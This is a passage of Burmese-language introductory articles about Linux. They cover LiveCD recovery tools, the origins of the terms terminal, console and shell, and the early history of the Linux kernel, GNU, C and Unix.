Linux distro တွေတော်တော်များများဟာ hardware spec မြင့်တဲ့စက်ဖြစ်ဖို့သိပ် မလိုပါဘူး။ PC အဟောင်းတွေ Laptop အဟောင်းတွေ မှာတောင် install လုပ်ပြီးသုံးလို့ရပါတယ်။ Linux distro တွေထဲမှာ LXDE နဲ့Xfec တို့လို desktop နဲ့ လာတဲ့ distro တွေဆိုရင် ပိုလို့တောင် စက်အဟောင်းတွေမှာ သုံးရတာပေါ့နေပါတယ်။ မတက်နိုင်လို့ စက်အဟောင်းပဲဝယ်ပြီး Lubuntu လို distro ကိုတင်ပြီးသုံးရင် အဆင်ပြေပြေနဲ့ပြဿနာသိပ်ရှိမှာမဟုတ်ပါဘူး။ စာရေးသူကိုယ်တိုင် Lubuntu ကိုကြိုက်လွန်းလို့ Dell Laptop အဟောင်းလေးတစ်လုံး ပေါ်မှာတင်ပြီး သုံးဖြစ်နေပါတယ်။ Linux ကအရင်ထဲကမှ ပေါ့ပြီးသားပါ။

**၁၀. Linux distro တွေရဲ့ LiveCD မှာပါတဲ့ tool တွေကအလုပ်ဖြစ်ခြင်း**\
Linux distro တွေဟာ တော်တော်များ LiveCD တွေ အနေနဲ့လာပါတယ်။ install မလုပ်ခင် စမ်းသပ်သုံးကြည့် လို့ရသလို၊ Portable OS အနေနဲ့လည်းသုံးလို့ရပါတယ်။ ဒါ့အပြင် system မှာတစ်ခုခုပြဿနာတက် လို့ပြင်ရတော့မယ်ဆိုရင်တောင်မှ LiveCD ကို recovery tool အနေနဲ့အသုံးပြုလို့ရပါတယ်။ နောက်ပြီး နဂိုအတိုင်း gparted လို partition tool အပြင် အခြားလိုအပ်မယ့် tool တော်တော်များများကို LiveCD မှာထည့်ထားပေးတတ်ပါတယ်။ အဲ့ဒါကြောင့် ဘယ် third party bootable utility မှမလိုအပ်ပဲနဲ့ LiveCD ကိုသုံးပြီး system ကို recover လုပ်လို့ရပါတယ်။ Windows မှာတော့ Hiren bootable CD လို third party tool တွေကိုသုံးပြီးတော့မှ recover လုပ်ရတာများပါတယ်။

ဘယ်လိုပဲဖြစ်ဖြစ် Linux ကို ပထမဆုံး အချက်တစ်ခု ထဲနဲ့တင် စပြီးသုံးသင့်နေပါပြီ။ အဲ့ဒါကတော့ မှားနိုင်စရာမရှိတဲ့ အချက်ပါ။ အင်္ဂလိပ်စကားတစ်ခုရှိပါတယ်။ အဲ့ဒါ ဘာလဲဆိုတော့ “the best thing in life is free” ဆိုတာပါ။ ဒီမှာတော့ free ဆိုတာကို အလကားလို့ ဘာသာမပြန်ပဲ လွတ်လပ်ခြင်းဆိုပြီး ပြန်ဆိုလိုပါတယ်။ ဒီလောက်နဲ့ပဲ ဒီမှာ ရပ်လိုက်ပါတော့မယ်။


# GNU/Linux မှာသုံးတဲ့ CLI ကိုဘယ်လိုခေါ်ကြသလဲ

GNU/Linux နဲ့ Unix ကိုသုံးတော့မယ်ဆိုရင်တော့ တခြားလူသုံးများတဲ့ OS တွေနဲ့ မတူတာကတော့ CLI က command တွေကို တွင်တွင်ကျယ်ကျယ် အသုံးပြုရတယ်ဆိုတာကတော့ သိပြီးကြမှာဖြစ်ပါတယ်။ GNU/Linux distro တွေတော်တော်များကတော့ အခုနောက်ပိုင်းမှာ အသုံးပြုသူ end user တွေ အဆင်ပြေအောင်တော့ GUI ဘက်မှာတော်တော်လေးကို အလုပ်ဖြစ်အောင် ထည့်ပေးလာကြသော်လည်း CLI command တွေတော့ မကြာခဏ အသုံးပြုနေရဆဲပါ။ စာရေးသူ အမြင်အားဖြင့် CLI command တွေနဲ့ ကလည်း Linux မှာ အလုပ်ပိုပြီးတော့ တွင်ကျယ်တယ်လို့ထင်ပါတယ်။ တနည်းအားဖြင့် command လေး ၃ ကြောင်း ၄ ကြောင်းလောက်နဲ့ ပြီးမည့်ဟာကို GUI မှာဆိုရင်တော့ အဆင့်ပေါင်းများစွာ လုပ်ရပါတယ်။ ဘယ်လိုပဲပြောပြော CLI ကိုတော့ Linux သုံးနေသရွေ့တော့ သုံးနေရအုံးမှာပါ။ ပြီးတော့ command တွေနဲ့ ရင်းနှီး ကျွမ်းဝင်သွားတဲ့ အခါ ကိုယ်သုံးတဲ့ distro က backend မှာဘယ်လို အလုပ်လုပ်သလဲ ဆိုတာကိုလည်း ရိပ်စားမိလာမှာဖြစ်ပါတယ်။ အဲ့ဒီတော့ CLI command တွေကိုတာ ခက်တယ်ဆိုပေမယ့်လည်း အကျွမ်းဝင်အောင်တော့ Linux သုံးမယ်ဆိုရင် များများအသုံးပြုသင့်ပါတယ်။ အခုဒီတစ်ခေါက်ကတော့ Unix နဲ့ GNU/Linux မှာ သုံးတဲ့ CLI ကို ဘယ်လိုခေါ်ကြသလဲဆိုတာကို ရှင်းပြချင်တာပါ။ အမျိုးမျိုးခေါ်ကြပါတယ်။ တချို့က Terminal လို့ခေါ်တယ်… တချို့က Console လို့လည်းခေါ်တယ်… တချို့ကြတော့လည်း Shell ဆိုပြီးတော့ ခေါ်ကြပြန်တယ်။ အကုန်လုံးကတော့ အသုံးအနှံးအရကတော့ အတူတူပါပဲ။ မူရင်းအဓိပ္ပါယ်ကတော့ အစပိုင်းမှာလုံးဝကွာခြားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a5f69ad910866809c03dea5a7ed104b3b67bca45%2FLinux_command-line._Bash._GNOME_Terminal._screenshot-768x576.png?alt=media" alt=""><figcaption></figcaption></figure>

ဆိုပါတော့… Terminal ဆိုတဲ့ မူရင်း အဓိပ္ပါယ်ကတော့ ဟိုအရင်တုန်းက Mainframe ကွန်ပြူတာမှာ သုံးတဲ့ အသုံးအနှံးတစ်ခုဖြစ်ပါတယ်။ Mainframe ခေတ်တုန်းက အဲ့ဒီ ကွန်ပြူတာကြီးကို အသုံးပြုချင်တယ်ဆိုရင် Terminal တစ်ခုကိုသွားပြီးတော့ ချိတ်ဆက်အသုံးပြုကြပါတယ်။ Terminal ဆိုတာလည်း နောက်ပိုင်းမှာ dumb terminal လို့လည်းခေါ်ကြပါတယ်။ အခြေခံအားဖြင့် Terminal ဆိုတာကလည်း display တစ်ခုပါမယ်… keyboard ပါမယ်ပေါ့။ Processing ကတော့ mainframe ကလုပ်တယ်ဆိုတော့ အဲ့ဒီ terminal ကို dumb terminal လို့ခေါ်တာပါ။ ပုံမှန်အားဖြင့် အဲ့ဒီ terminal ကနေ screen အမဲကြီးပေါ်မှာ command တွေရိုက်ပြီးတော့ mainframe ကြီးကို အသုံးပြုခဲ့ရပါတယ်။ အခုနောက်ပိုင်းတော့လည်း mainframe တွေမရှိတော့ပေမယ့် အဲ့ဒီ terminal ဆိုတဲ့ အခေါ်ကို Unix နဲ့ GNU/Linux မှာ CLI screen မဲမဲကြီးကို terminal လို့ အစွဲပြုပြီးတော့ ခေါ်ဆိုကြပါတယ်။ မူရင်း terminal ဆိုတဲ့ အသုံးအနုံး အစား endpoint ဆိုတာကို ပြောင်းပြီးတော့ သုံးကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-069642797a604e2bd56a7dbe2a67d083fe037dc3%2FDEC_VT100_terminal-768x682.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဟုတ်ပြီ… ဒါဆိုရင် console ဆိုတာကရောဘယ်လိုဖြစ်တာလဲ။ ဘာလို့ console လို့ ခေါ်ကြတာလဲ။ မူရင်း အဓိပ္ပာယ်ကတော့ console ဆိုတာ computing device တွေပေါ်က console serial port သို့မဟုတ် အဲ့ဒီ console serial port မှာသုံးတဲ့ console cable (Cisco မှာတော့ rollover cable လို့လည်းခေါ်ပါတယ်။) ကိုရည်ညွန်းခြင်းသာဖြစ်ပါတယ်။ အရှေ့မှာပြောခဲ့တဲ့ mainframe ခေတ်ကိုသာပြန်သွားရမှာဖြစ်ပါတယ်။ mainframe တွေကို ချိတ်ဆက်ဖို့ကို terminal ကနေ console cable ကိုအသုံးပြုရပါတယ်။ Speed အားဖြင့် ဒီဘက်ခေတ် Ethernet cable တွေလောက်တော့ မမြန်ပါဘူး။ အဲ့ဒီတုန်းကတော့ မရှိသုံး console serial port တွေကို အသုံးပြုကြပါတယ်။ အခုအချိန်ထိကို console serial port နဲ့ console cable တွေကို network device တော်တော်များများမှာ initial configuration အတွက်နဲ့ out-of-band management အတွက် အသုံးပြုနေဆဲပါ။ Unix နဲ့ GNU/Linux မှာတော့ CLI ကို console လို့ အဲ့ဒီ console connection ကိုအစွဲပြုပြီးတော့ ခေါ်ကြပါတယ်။ နောက်ပိုင်းမှာ PS4 နဲ့ Xbox device တွေကိုလည်း console လို့ခေါ်ကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-54ed13162a6e83fc6ed0776e430c46f9cecdeff6%2FSerial_cable_blue-768x576.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နောက်ဆုံးတစ်ခုက… Shell ဆိုတာပဲဖြစ်ပါတယ်။ မူရင်းအဓိပ္ပာယ်ကတော့ shell ဆိုတာက OS တစ်ခုမှာ kernel ကို အပြင်ကနေ အုပ်ထားတဲ့ interface layer တစ်ခုဖြစ်ပါတယ်။ Computing မှာ အများသိထားတဲ့ concept ကတော့ Hardware ကို အပြင်ကနေ Kernel အုပ်ထားပါတယ်။ အဲ့ဒီ Kernel ကိုတော့ Shell ဆိုတဲ့ဟာနဲ့ အပြင်ကနေထပ်ပြီးအုပ်ထားပါတယ်။ Shell ကိုအပြင်ကနေအုပ်ထားတာကတော့ Application ပဲဖြစ်ပါတယ်။ ဆိုလိုချင်တာကတော့ Computing မှာ system တစ်ခုကို hardware တွေနဲ့ တည်ဆောက်ထားပါတယ်။ motherboard တို့ CPU တို့ RAM တို့နဲ့ တခြား chip set ပေါင်းများစွာကို အကျဉ်းချုပ်ပြီးတော့ hardware လို့ခေါ်ပါတယ်။ နောက် hardware က ဒီအတိုင်းဆိုရင် device မဖြစ်ပါဘူး… သူ့ကိုထိန်းချုပ်မယ့် programming code လိုပါတယ်။ အဲ့ဒီ code ကို kernel လို့ခေါ်ပါတယ်။ တခါတခါ kernel code ဆိုပြီးတော့လည်း ခေါ်ကြပါတယ်။ ဥပမာ Unix နဲ့ GNU/Linux မှာ kernel ကို C programming code တွေနဲ့ ရေးထားပါတယ်။ အဲ့ဒီ kernel ကနေမှတဆင့် hardware resource တွေကို ဘယ်လို ထိန်းချုပ်မလဲဆိုတာကို ပြောပါတယ်။ kernel မရှိရင် hardware က သူ့ဟာသူ သီးသန့်ရပ်တည်ပါတယ်။ ဟုတ်ပြီ… Shell ဆိုတာကတော့ kernel နဲ့တွဲပြီးတော့ အလုပ်လုပ်ဖို့အတွက် interface တစ်ခုသာဖြစ်ပါတယ်။ Shell မှာမှ Graphical User Interface (GUI) နဲ့ Command Line Interface (CLI) ဆိုပြီးတော့ နှစ်မျိုးထပ်ရှိပါတယ်။ အဲ့ဒီ interface ပေါ်မှာမှ တခြား application တွေကို end user တွေ software developer တွေက run ကြရပါတယ်။ အဲ့ဒီတော့ ရှင်းပြပြီးတဲ့အတိုင်း shell ဆိုတာ UNIX နဲ့ GNU/Linux မှာ CLI ကို ခေါ်ဝေါ်သုံးစွဲတယ်ဆိုတာကို ရိပ်စားမိမယ်ထင်ပါတယ်။ CLI မှာမှ customised လုပ်ထားတဲ့ CLI shell အမျိုးမျိုး GNU/Linux မှာရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3d090b0e76ad0fa6635b58c3e8e7a59ee2396da5%2FComputing-System.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အားလုံးကိုဇာတ်ပေါင်းထုတ်ကရရင်တော့ terminal, console နဲ့ shell ဆိုတာ အချိန်တွေပြောင်းလာသရွေ့ အခေါ် အဝေါ် အမျိုးမျိုးကနေဆင်းသက်လာတဲ့ jargon အသုံးလေးတွေဖြစ်ပါတယ်။ ဆိုပါတော့… လက်ရှိ လူတိုင်းအိမ်မှာ သုံးတဲ့ ADSL modem/router ဟာ တကယ်တော့ modem/router သာမဟုတ်ပဲနဲ့ switch လည်းဟုတ်ပါတယ်… wireless access point လည်းဟုတ်ပါတယ်… DHCP server လည်းဟုတ်သလို… basic firewall လည်းဟုတ်ပြန်ပါတယ်။ ဟိုရှေးရှေးတုန်းကတော့… အဲ့ဒါတွေအကုန်လုံးက သီးသန့် device တွေဖြစ်ပါတယ်။ အခုနောက်ပိုင်းတော့ အကုန်လုံးကို device တစ်ခုထဲမှာပေါင်းထည့်လိုက်ပြီးတော့ အကြမ်းအားဖြင့် ADSL modem/router… cable modem ဆိုပြီးတော့ ခေါ်ဆိုသမုတ်ကြပါတယ်။ ထိုနည်းတူ… Unix နဲ့ GNU/Linux က CLI ကို terminal, console နဲ့ shell ဆိုပြီးတော့ ပေါင်းစုံခေါ်ဆိုသမုတ်ကြတာဖြစ်ပါတယ်။ အသုံးမဝင်ပေမယ့်လည်း ဗဟုသုတ အနေနဲ့ ဒီ post ကို စေ့စေ့ပေါက်ပေါက်ရေးလိုက်ပါတယ်။


# Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၁)

GNU/Linux distro အကြောင်းကတော့ တော်တော်လည်း အရှေ့ပိုင်းမှာ ရေးထားပြီးသားမို့ လေ့လာသင့် သလောက်တော့ လေ့လာမိမယ် ထင်ပါတယ်။ အမှန်ကတော့ Linux လို့သာလူသိများပြီးတော့ GNU Operating System ရယ်လို့တော့ လူသိပ်ပြီးတော့ မသိကြပါဘူး။ အထူးသဖြင့် free software ကိုစတင်ခဲ့တဲ့ Richard Stallman ကိုယ်တိုင်က အဲ့ဒီ မေးခွန်းကို interview တိုင်းနီးပါးလောက်မှာ ခဏခဏ အမေးခံရလေ့ရှိ ပါတယ်။ တော်တော်များများ interview တွေမှာ မေးတဲ့သူတွေက Richard Stallman ကို Linux လို့ခေါ်တာကိုလက်ခံလားဆိုပြီးတော့ မေးတာများပါတယ်။ သူကတော့ လက်ခံတယ်လို့လည်းမပြောသလို လက်မခံဘူးလို့လည်း သူ့အဖြေတွေက ဖော်ပြနေပါတယ်။ Linux OS လို့ခေါ်တာမမှန်နိုင်ဘူးလို့ ဆိုပါတယ်။ ဘာဖြစ်လို့လဲဆိုတော့ Linux ဆိုတာက kernel ရဲ့နာမည်ပါတဲ့၊ အဲ့ဒီ kernel က GNU ဆိုတဲ့ system အတွက် အသုံးပြုထားတဲ့အတွက် GNU/Linux လို့ခေါ်ရင် ပိုပြီးတော့ ပြည့်စုံမယ်လို့လည်းဆိုပါတယ်။ အရှေ့မှာလည်း GNU ဆိုတာဘာကို ရည်ညွန်းသလဲဆိုတာကို ရှင်းပြဘူးပါတယ်။ အခုတစ်ခါလည်း မသိသေးတဲ့သူတွေအတွက် ထပ်ရှင်းပါ့မယ်။ Richard Stallman ကတော့ programming joke တစ်ခုကို အသုံးပြုပြီး မှည့်ထားတဲ့ နာမည်ပါတဲ့။ GNU ဆိုတာ GNU is Not Unix ကိုဆိုလိုတာပါ။ Programming technique တစ်ခုဖြစ်တဲ့ recursive looping လိုဟာမျိုးကို ထည့်ပြီးတော့ နာမည်ပေးထားတာပါ။ ဆိုလိုရှင်း joke ကို နားလည်လိမ့်မယ်လို့လည်း ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-5eb514faefe24b788eadb5e057cc0680708ba851%2FGNU-is-Not-Unix-768x197.png?alt=media" alt=""><figcaption></figcaption></figure>

GNU project အစမှာ Richard Stallman ဟာ GNU Hurd ဆိုတဲ့ kernel တစ်ခုကို ရေးဖို့လုပ်တဲ့ အခါ အခက်အခဲလေး တွေရှိခဲ့ပါတယ်။ GNU ဆိုတဲ့ OS တစ်ခုကိုရေးဖို့ ကြိုးစားရင်းနဲ့ kernel တစ်ခုလိုလို့ Hurd ကို ကောက်ရေးနေခဲ့တာပါ။ အသုံးပြုလို့ ရတဲ့ အခြေအနေတစ်ခုထိတော့ မရောက်လိုက်နိုင်ပဲ Linus Torvalds ရေးတဲ့ Linux kernel နဲ့ ကြမှ တော်တော်လေး အဆင်ပြေသွားလို့ Linux kernel ကိုပဲ အသုံးပြုလိုက်ကြရင်းနဲ့ GNU/Linux OS ဆိုပြီးတော့ ဖြစ်သွားပါတော့တယ်။ ဒီနေရာမှာ Linux ဆိုတဲ့ နာမည်ဖြစ်လာပုံကိုလည်း ပြောပြချင်ပါတယ်။ အစပိုင်းမှာ Linus Torvalds က သူရေးထားတဲ့ kernel software ကို Freax ဆိုတဲ့ folder နာမည်နဲ့ သိမ်းထားခဲ့ပါတယ်။ ရည်ညွန်းချက်ကတော့ Free, Freak နဲ့ X ဆိုတဲ့ စကားလုံးတွေကိုရောပြီးတော့ ထည့်ထားတာဖြစ်ပါတယ်။ ဆိုလိုရှင်းကတော့ Free ကတော့ အခမဲ့ သို့မဟုတ် လွတ်လပ်စွာ အသုံးပြုခွင့် ပါ။ Freak ကတော့ ခေတ်ဆန်ဆန်ပြောရင်တော့ မိုက်တယ် လန်းတယ်ပေါ့ဗျာ… နောက်ဆုံးကတော့ X ဆိုတာကတော့ Unix က X ကိုပြောလိုခြင်းဖြစ်ပါတယ်။ Unix system လို system မျိုးနဲ့ တွဲသုံးရအောင် ရေးထားတာဖြစ်တယ်လို့ ဆိုလိုရင်းဖြစ်ပါတယ်။ နောက်ပိုင်းကြမှ Unix system နဲ့ တွဲပြီးသုံးလို့ရမယ့် Linus ရေးထားတဲ့ kernel ဖြစ်လို့ Linux လို့ ခေါ်လိုက်ပါတော့တယ်။ အစပိုင်းမှာတော့ Linus Torvalds ကိုယ်တိုင်က Linux လို့နာမည်ပေးမယ်လို့ စဉ်းစားထားသော်လည်း အဲ့ဒီနာမည်က မသင့်တော်ဘူးဆိုကာ မပေးဖြစ်ခဲ့ပါဘူး။ နောက်ပိုင်းမှ လုပ်ဖော်ကိုင်ဖက်တစ်ယောက်က တိုက်တွန်းလို့ သာ Linux ဆိုတဲ့ နာမည်ပေးဖြစ်သွားတာပါ။ နောက်တော့လည်း Linux ဆိုတဲ့နာမည်က အတည်ပေးတဲ့ project နာမည်ဖြစ်သွားပါတော့တယ်။ အဲ့ဒီ Linux project မှာ version တစ်ခုစီကို နာမည်တွေထပ်ပြီးတော့ ပေးထားပြန်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7a6d67f29196a643175db38b70dcf1eed00d17dd%2Fhe-wanted-to-call-it-freax.jpg?alt=media" alt=""><figcaption></figcaption></figure>

## Linux kernel မွေးဖွားခြင်း နိဒါန်း

Linux kernel ကိုတော့ Finland နိုင်ငံမှာရှိတဲ့ University of Helsinki မှာ ထိုအချိန်က ပညာသင်ကြားနေခဲ့တဲ့ Linus Torvalds က စတင်ပြီးတော့ မွေးဖွားပေးခဲ့ပါတယ်။ အချိန်အားဖြင့် ဧပြီလ ၁၉၉၁ခုနှစ် တွင် အသက် ၂၁ နှစ်အရွယ် computer science ကျောင်းသားတစ်ယောက်ဖြစ်တဲ့ Linus Torvalds က အရိုးရှင်းဆုံးနဲ့ အသုံးဝင်မယ့် Operating System တစ်ခုအတွက် အားထုတ်ကြိုးစားနေခဲ့ပါတယ်။ ရေးရင်းနဲ့ နောက်ဆုံးမှာတော့ Operating System kernel တစ်ခုကရုပ်လုံးပေါ်လာပါတော့တယ်။ ၂၅ရက်နေ့ ဩဂုဏ်လ ၁၉၉၁ ခုနှစ်မှာတော့ Usenet ပေါ်မှာ အောက်ပါအတိုင်း Linus Torvalds ကရေးပြီးတော့တင်လိုက်ပါတယ်။ ဒီ post ကတော့ နည်းပညာလောကရဲ့ သမိုင်းဝင် post တစ်ခုဖြစ်ပြီးတော့ Linux kernel စတင် အသက်ဝင်လာချိန်လည်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-5f62e2cb3435afffc3ba9755a10f51e3ea554d88%2FLinus-Torvalds-post-at-Usenet.png?alt=media" alt=""><figcaption></figcaption></figure>

အဓိပ္ပာယ်ဖွင့်ဆိုချက်ကတော့ အောက်ပါအတိုင်းဖြစ်ပါတယ်။

MINIX (mini-Unix ဆိုတဲ့ Unix-like operating system) ကို အသုံးပြုသူများအားလုံးကို နှုတ်ခွန်းဆက်သလိုက်ပါတယ်။

ကျွန်တော် အခုလက်ရှိမှာတော့ အခမဲ့ operating system တစ်ခုကို 386(486) AT လိုမျိုး CPU တွေအတွက် ရေးနေပါတယ်။ ဝါသနာအရ လုပ်ထားတာဖြစ်တဲ့အတွက် GNU လိုမျိုး ကြီးကျယ်ခမ်းနားမှာ မဟုတ်သလို၊ စနစ်တကျ အလုပ်ဖြစ်မယ့်ဟာမျိုးလည်း မဟုတ်ပါဘူး။ စတင်ပြီး စမ်းသပ် ပြင်ဆင်ရေးသားလာတာတော့ ဧပြီလလောက်ကတည်း ဖြစ်ပြီးတော့၊ အခုဆိုရင် အဆင့်သင့် ဖြစ်သလောက်ရှိနေပါပြီ။ ကျွန်တော် ရေးထားတဲ့ Operating System (OS) က လက်တွေ့အရတော့ သူ့ file-system ရဲ့ physical layout ဟာ MINIX နဲ့ တော်တော်များများမှာ ခပ်ဆင်ဆင်သွားတူနေလို့ MINIX မှာ လူကြိုက်တဲ့အချက်တွေ မကြိုက်တဲ့အချက်တွေကိုပါ ကျွန်တော်သိပါရစေ။

အခုဆိုရင် ကျွန်တော် bash(1.08) နဲ့ gcc (1.40) ကိုထည့်သွင်း စမ်းသပ် အသုံးပြုကြည့်တာ တော်တော်များများ အလုပ်လုပ်တာကိုတွေ့ရပါတယ်။ ဆိုလိုချင်တာကတော့ ကျွန်တော် ဒီလပိုင်း အနည်းငယ်အတွင်းမှာ အလုပ်ဖြစ်မယ့် kernel တစ်ခုကို community ထဲမှာ ချပြနိုင်တော့မှာဖြစ်သည့်အလျှောက် ဘယ်လိုမျိုး feature တွေကို ခင်ဗျားတို့ လိုချင်သလဲဆိုတာ သိချင်ပါတယ်။ ဘယ်လို အကြံပေးချက်မျိုးကို မဆို ကြိုဆိုပါတယ်။ သို့သော်လည်း အဲ့ဒီ feature တွေကို တကယ်တမ်း kernel ထဲမှာ ထည့်ပေးဖို့ မထည့်ပေး ဖို့ကိုတော့ ကတိမပေးနိုင်ပါဘူး။ 🙂

Linus (<torvalds@kruuna.helsinki.fi>)

စကားချပ်

ဟုတ်ပါတယ်။ MINIX code ရဲ့ ဘယ်အပိုင်းကို မဆို အခမဲ့ဖြစ်တဲ့အပြင် multi-threaded filesystem နဲ့လာမှာပါ။ CPU architecture/system တစ်ခုကနေ တစ်ခုကို ပြောင်းသုံးလို့တော့မရတဲ့အတွက် 386 task switching လိုမျိုး switcher တွေနဲ့ တွဲသုံးရမှာဖြစ်ပါတယ်။ နောက်ပြီးတော့ အဲ့ဒီ kernel က AT-harddisks တွေလောက်နဲ့ပဲ အလုပ်လုပ်မှာဖြစ်ပြီးတော့ တခြားအမျိုးအစားတွေနဲ့ဆိုရင် အလုပ် လုပ်လောက် မှာမဟုတ်ပါဘူး။ အခုကတော့ ကျွန်တော် စွမ်းနိုင်သလောက် ဒါအကုန်ပါပဲ။ 😦

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-969781ce4ecaa76c30334cf8ec0450bdff5f3e7b%2Fscreendump-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီတပိုင်းမှာတော့ Linux kernel စတင်ခဲ့ပုံကို နည်းနည်းလေး မိတ်ဆက်ပေးလိုက်ရုံပါပဲ။ နောက်အပိုင်းတွေမှာတော့ Linux project ရဲ့ ဖြတ်သန်းခဲ့ ပုံအဆင့်ဆင့်ကို ဆက်ပြီးတော့ ရေးသွားပါ့မယ်။ လက်ရှိမှာလည်း Linux project ကို Linus Torvalds က ဆက်လက် ဦးဆောင်ပြီးတော့ maintainer တွေ များစွာနဲ့ ဆက်ပြီးတော့ ကောင်းသည်ထက် ကောင်းအောင် ပြင်ဆင် တိုးဖြည့် ရေးသားနေ ဆဲဖြစ်ပါတယ်။ စာဖတ်သူတွေ အနေနဲ့ Linux project/kernel အကြောင်းကို စိတ်ဝင်စားမယ်လို့ထင်ပါတယ်။ နောက်အပိုင်းတွေမှာ Linux kernel အကြောင်း ကို ဖြေးဖြေးချင်းဆီ စာရေးသူ ဆက်လက်တင်ပြသွားပါ့မယ်။


# Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၂)

အရှေ့တပိုင်းမှာတော့ Linux kernel စတင်ခဲ့ပုံ ကိုအနည်းငယ် မိတ်ဆက် ပေးပြီးသွားပါပြီ။ Linus Torvalds က kernel တစ်ခုကိုရေးဖို့ စိတ်ကူးထားခဲ့တာမျိုးမဟုတ်ပဲနဲ့ Unix-like operating system တစ်ခုစိတ်ကူးပုံဖော်ခဲ့တာပါ။ တကယ်တန်းလက်တွေ့မှာတော့ မထင်မှတ်ပဲ kernel တစ်ခုကို ရေးပြီးသားဖြစ်သွားတာပါ။ အဲ့ဒါကိုလည်း သူနဲ့ David Diamond ရေးတဲ့ Just For Fun ဆိုတဲ့ စာအုပ်မှာလည်း ပြက်လုံးထုတ်ပြီးရေးသွားပါတယ်။ စာအုပ်ရဲ့အဖုံးမှာလည်း The story of an accidental revolutionary လို့ဆိုပြီးတော့လည်း စာအုပ်နာမည်အောက်မှာရေးထားပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် ဝါသနာပါလို့ တစ်ခုခုလုပ်မယ်ဆိုပြီးတော့ အားစိုက်ထုတ်ရာကနေ ရလာတဲ့ ရလာဒ် တစ်ခုဖြစ်ပါတယ်။ နောက်ပြီးတော့ သူရေးခဲ့တာလည်း Minix လို platform မှာ စမ်းသပ်သုံးဖို့ကို ရည်ရွယ်ပြီးတော့မှ ရေးခဲ့တာလည်းဖြစ်ပါတယ်။ Minix ကတော့ Unix-like system တစ်ခုဖြစ်ပြီးတော့ နည်းပညာသင်ကြားရေးမှာ အထောက်အကူ ဖြစ်စေဖို့ထုတ်ထားတဲ့ system တစ်ခုဖြစ်ပါတယ်။ ဒီမှာတော့ Minix အကြောင်း၊ Unix အကြောင်းကိုလည်း နည်းနည်းရှင်းဖို့ လိုမယ်လို့ ထင်ပါတယ်။ ဒါ့အပြင် C programming language ဖြစ်ပေါ်လာပုံကိုပါ မပြောလို့ မပြီးပါဘူး။ အဲ့ဒါကြောင့် နည်းနည်းတော့ တတ်နိုင်သလောက် အကျဉ်းချုပ်ပြီးတော့ ပြောပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3c2359b2d3ae9f6b1b61ed5779450097d0b9c327%2F7895276-L.jpg?alt=media" alt=""><figcaption></figcaption></figure>

## C programming နဲ့ Unix ဆက်နွယ်ပုံအကျဉ်းချုပ်

အစောပိုင်းထွက်တဲ့ high-level programming language ဖြစ်တဲ့ C ကိုတော့ Dennis Ritchie က Bell Labs မှာ ၁၉၆၉ခုနှစ် နဲ့ ၁၉၇၃ ခုနှစ်ကြားမှာ စတင်ပြီးတော့ တီထွင်ခဲ့ပါတယ်။ C Compiler ဟာ အဲ့ဒီတုန်းက system တော်တော်များများမှာ အလုပ်ဖြစ်လွန်းလို့ လူသုံးများလာခဲ့တာ အခုချိန်ထိ လို့ဆိုရမှာဖြစ်ပါတယ်။ တချိန်ထဲမှာဆိုသလို Dennis Ritchie ဟာ Ken Thompson နဲ့ တခြားသော developer က Unix operating system ကို ၁၉၆၉ ခုနှစ်ထဲမှာ စတင်ပြီးတော့ Bell Labs နဲ့ AT\&T မှာ တည်ဆောက်နေပါတယ်။ ၁၉၇၀ ခုနှစ်မှာတော့ Unix ကို ပထမဆုံး အနေနဲ့ စတင်ထုတ်ခဲ့ပါတယ်။ အစပိုင်းမှာ လိုအပ်ချက်တွေရှိနေတာကြောင့် ၁၉၇၂ ခုနှစ်မှာ Dennis Ritchie ရဲ့ C programming language နဲ့ ပြန်ပြင်ပြီးတော့ရေးခဲ့ပါတယ်။ Unix ကို Bell System ရဲ့အောက်မှာ သီးသန့် အသုံးပြုဖို့ ရည်ရွယ်ထားသော်လည်း၊ ၁၉၇၀ခုနှစ်နှောင်းပိုင်းမှာ အဲ့ဒီအချိန်ကစပြီးတော့ Unix ဟာ cross-platform compatible ဖြစ်တာကြောင့် system တော်တော်များများအတွက် အသုံးပြုလာကြတဲ့အပြင်၊ နည်းပညာသင်ကြားရေးမှာ အထောက်အကူပြုဖို့အတွက် တက္ကသိုလ်တွေနဲ့ စီးပွားရေးလုပ်ငန်းတွေကပါ ပြန်လည်ပြင်ဆင်ပြီးတော့ တွင်တွင်ကျယ်ကျယ် အသုံးပြုလာကြပါတယ်။

